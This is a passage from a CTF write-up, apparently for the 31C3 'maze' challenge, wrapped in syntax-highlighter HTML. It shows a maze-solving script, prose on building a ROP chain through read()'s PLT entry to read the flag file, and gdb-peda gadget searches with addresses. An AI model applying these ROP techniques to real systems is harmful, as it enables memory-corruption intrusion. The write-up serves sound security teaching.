class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-28\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">True<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-29\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-30\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-t\">False<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-31\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-32\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-33\" class=\"crayon-line\"><span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-e\">copy <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">code <\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">plot<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">py <\/span><span class=\"crayon-v\">here<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-e\">order <\/span><span class=\"crayon-st\">to<\/span> <span class=\"crayon-e\">set <\/span><span class=\"crayon-v\">max_x<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">max_y <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-v\">arr<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-34\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-35\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-36\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Create two-dimensional array for the maze data<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-37\" class=\"crayon-line\"><span class=\"crayon-v\">maze<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">NONE <\/span><span class=\"crayon-st\">for<\/span> <span class=\"crayon-i\">y<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-e\">range<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">max_y<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-st\">for<\/span> <span class=\"crayon-i\">x<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-e\">range<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">max_x<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-38\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-39\" class=\"crayon-line\"><span class=\"crayon-p\"># Populate it with the occupied squares<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-40\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">for<\/span> <span class=\"crayon-e\">pos <\/span><span class=\"crayon-st\">in<\/span> <span class=\"crayon-v\">arr<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pos<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-41\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-42\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Mark the &#8220;winning&#8221; position<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-43\" class=\"crayon-line\"><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">goal_x<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">goal_y<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">GOAL<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-44\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-45\" class=\"crayon-line\"><span class=\"crayon-v\">path<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">None<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-46\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">find_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-47\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b228007564355-48\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-49\" class=\"crayon-line\"><span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-e\">path <\/span><span class=\"crayon-e\">now <\/span><span class=\"crayon-e\">contains <\/span><span class=\"crayon-i\">the<\/span> <span class=\"crayon-cn\">518<\/span> <span class=\"crayon-e\">steps <\/span><span class=\"crayon-e\">required <\/span><span class=\"crayon-st\">to<\/span> <span class=\"crayon-e\">solve <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">maze<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">non<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">optimal<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b228007564355-50\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>By connecting and sending the full solution to the maze we reach the vulnerable part of the code, i.e. the code that reads a name to add to the highscore list, in a fraction of a second. So, even if we need to make a few attempts in order to exploit it, due to ASLR, it will not make any real difference for us. Time to pwn. \ud83d\ude09<\/p>\n<p>Since the binary is so small, we don\u2019t have a lot of suitable ROP gadgets to play with. We need to find ways to use the ones we have as effectively as possible. My first attempt was to see if I could return into reached_goal(), right before the call to fopen(). We don\u2019t actually need to get code execution on the target to solve this challenge, to get the flag we only need to be able to read a file (and based on the other levels, it seemed like a reasonable guess that the flag was stored in either \/home\/user\/flag or \/home\/user\/flag.txt). The code in reached_goal() reads the current highscore file, and prints the last of the names in question.<\/p>\n<p>There is a problem with this approach though. We need to populate RDI with a pointer to a string with the filename we want to read, and at this point, we do not know the address of any buffer under our control. This problem is possible to solve by returning into read() though, in order to populate a buffer at an address of our choosing. A suitable address for this purpose must obviously be a valid and writable one, and since the target is a non-PIE-binary, the data segment for the executable itself resides at a fixed and known address. We can simply use 0x6060A0, which is the address of the .data section.<\/p>\n<p>Note that read() is a libc-function, and since we do not know the address where libc is mapped, we can not return directly into read(). If we had known the libc base address, we could have just returned directly into system() at this point, after populating RDI with the address of the \u201c\/bin\/sh\u201d string within libc itself. We solve this by returning into the PLT-entry for read(), since read() is one of the functions that are imported by the non-PIE target binary. The PLT-entry for read(), which acts as a trampoline into read() in libc, is stored at 0x400850.<\/p>\n<p>Since read() takes three arguments, that are passed in RDI, RSI and RDX respectively, we need to make a ROP chain that populates those registers before returning into read(). Ideally, our target binary would have contained instruction sequences such as \u201cpop rdi; ret\u201d, \u201cpop rsi; ret\u201d and \u201cpop rdx; ret\u201d, or even \u201cpop rdi; pop rsi; pop rdx; ret\u201d, but those instruction sequences are not commonly found in practice. Since x86 and x86_64 use variable-length instructions, that do not have to be aligned to any n-byte-boundary, it is possible to return into the middle of existing instructions though. By looking at partial instructions as well, we can find \u201cpop rdi; ret\u201d at 0x400f63 (the \u201cpop rdi\u201d instruction, opcode 0x5F, is actually the second byte of \u201cpop r15\u201d instruction) and \u201cpop rsi; pop r15; ret\u201d at 0x400f61 (the \u201cpop rsi\u201d, opcode 0x5E, is the second byte of a \u201cpop r14\u201d instruction), as you can see below:<\/p>\n<p><a href=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze3.png\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-154\" src=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze3.png\" sizes=\"(max-width: 720px) 100vw, 720px\" srcset=\"http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze3.png 720w, http:\/\/www.clevcode.org\/wp-content\/uploads\/2015\/01\/maze3-300x223.png 300w\" alt=\"maze-rop-gadgets\" width=\"720\" height=\"534\" \/><\/a><\/p>\n<p>It doesn\u2019t matter that there is a \u201cpop r15\u201d instruction between the \u201cpop rsi\u201d and the \u201cret\u201d instruction, as long as we are able to populate the registers we care about, without any side effects that cause the program to crash (invalid memory accesses, etc), it suits our purposes just fine.<\/p>\n<p>Looking for ROP gadgets manually can be time-consuming though, especially for small binaries where there are few naturally occuring instruction sequences that are useful. Alternatives include using <a href=\"https:\/\/github.com\/longld\/peda\/\" target=\"_blank\">PEDA<\/a>, Python Exploit Development Assistance for GDB, as can be seen below:<\/p>\n<div id=\"crayon-57eb96174b237404103246\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b237404103246-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b237404103246-20\">20<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b237404103246-1\" class=\"crayon-line\"><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">tiny<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">31c3<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pwn<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-v\">gdb<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">q<\/span> <span class=\"crayon-e\">maze<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">Reading <\/span><span class=\"crayon-e\">symbols <\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">no <\/span><span class=\"crayon-e\">debugging <\/span><span class=\"crayon-e\">symbols <\/span><span class=\"crayon-v\">found<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">done<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-3\" class=\"crayon-line\"><span class=\"crayon-v\">gdb<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">peda<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-i\">r<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">Starting <\/span><span class=\"crayon-v\">program<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">share<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2014<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">31c3<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pwn<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">je<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">maze <\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-5\" class=\"crayon-line\"><span class=\"crayon-e\">You <\/span><span class=\"crayon-e\">wake <\/span><span class=\"crayon-e\">up <\/span><span class=\"crayon-st\">and<\/span> <span class=\"crayon-i\">have<\/span> <span class=\"crayon-i\">a<\/span> <span class=\"crayon-e\">big <\/span><span class=\"crayon-v\">headache<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">You <\/span><span class=\"crayon-e\">are <\/span><span class=\"crayon-st\">in<\/span> <span class=\"crayon-i\">a<\/span> <span class=\"crayon-e\">dead <\/span><span class=\"crayon-st\">end<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">you <\/span><span class=\"crayon-e\">can <\/span><span class=\"crayon-e\">only <\/span><span class=\"crayon-e\">go <\/span><span class=\"crayon-v\">east<\/span><span class=\"crayon-sy\">.<\/span> <span class=\"crayon-e\">Where <\/span><span class=\"crayon-st\">do<\/span> <span class=\"crayon-e\">you <\/span><span class=\"crayon-e\">want <\/span><span class=\"crayon-st\">to<\/span> <span class=\"crayon-e\">go<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">today<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">?<\/span> <span class=\"crayon-o\">^<\/span><span class=\"crayon-i\">C<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-7\" class=\"crayon-line\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">gdb<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">peda<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-i\">ropsearch<\/span> <span class=\"crayon-s\">&#8220;pop rdi&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-9\" class=\"crayon-line\"><span class=\"crayon-e\">Searching <\/span><span class=\"crayon-st\">for<\/span> <span class=\"crayon-e\">ROP <\/span><span class=\"crayon-v\">gadget<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-s\">&#8216;pop rdi&#8217;<\/span> <span class=\"crayon-st\">in<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">binary <\/span><span class=\"crayon-i\">ranges<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00400f63<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5fc3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rdi<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-11\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00400ea2<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5f5dc3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">\u00a0\u00a0 <\/span><span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rdi<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-12\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00400aaf<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5f5dc3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">\u00a0\u00a0 <\/span><span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rdi<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-13\" class=\"crayon-line\"><span class=\"crayon-v\">gdb<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">peda<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-i\">ropsearch<\/span> <span class=\"crayon-s\">&#8220;pop rsi&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-14\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">Searching <\/span><span class=\"crayon-st\">for<\/span> <span class=\"crayon-e\">ROP <\/span><span class=\"crayon-v\">gadget<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-s\">&#8216;pop rsi&#8217;<\/span> <span class=\"crayon-st\">in<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">binary <\/span><span class=\"crayon-i\">ranges<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-15\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00400f61<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5e415fc3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rsi<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">r15<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-16\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00400ea0<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5e415f5dc3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rsi<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">r15<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-17\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00400aad<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5e415f5dc3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rsi<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">r15<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-18\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">gdb<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">peda<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-i\">ropsearch<\/span> <span class=\"crayon-s\">&#8220;pop rdx&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-19\" class=\"crayon-line\"><span class=\"crayon-e\">Searching 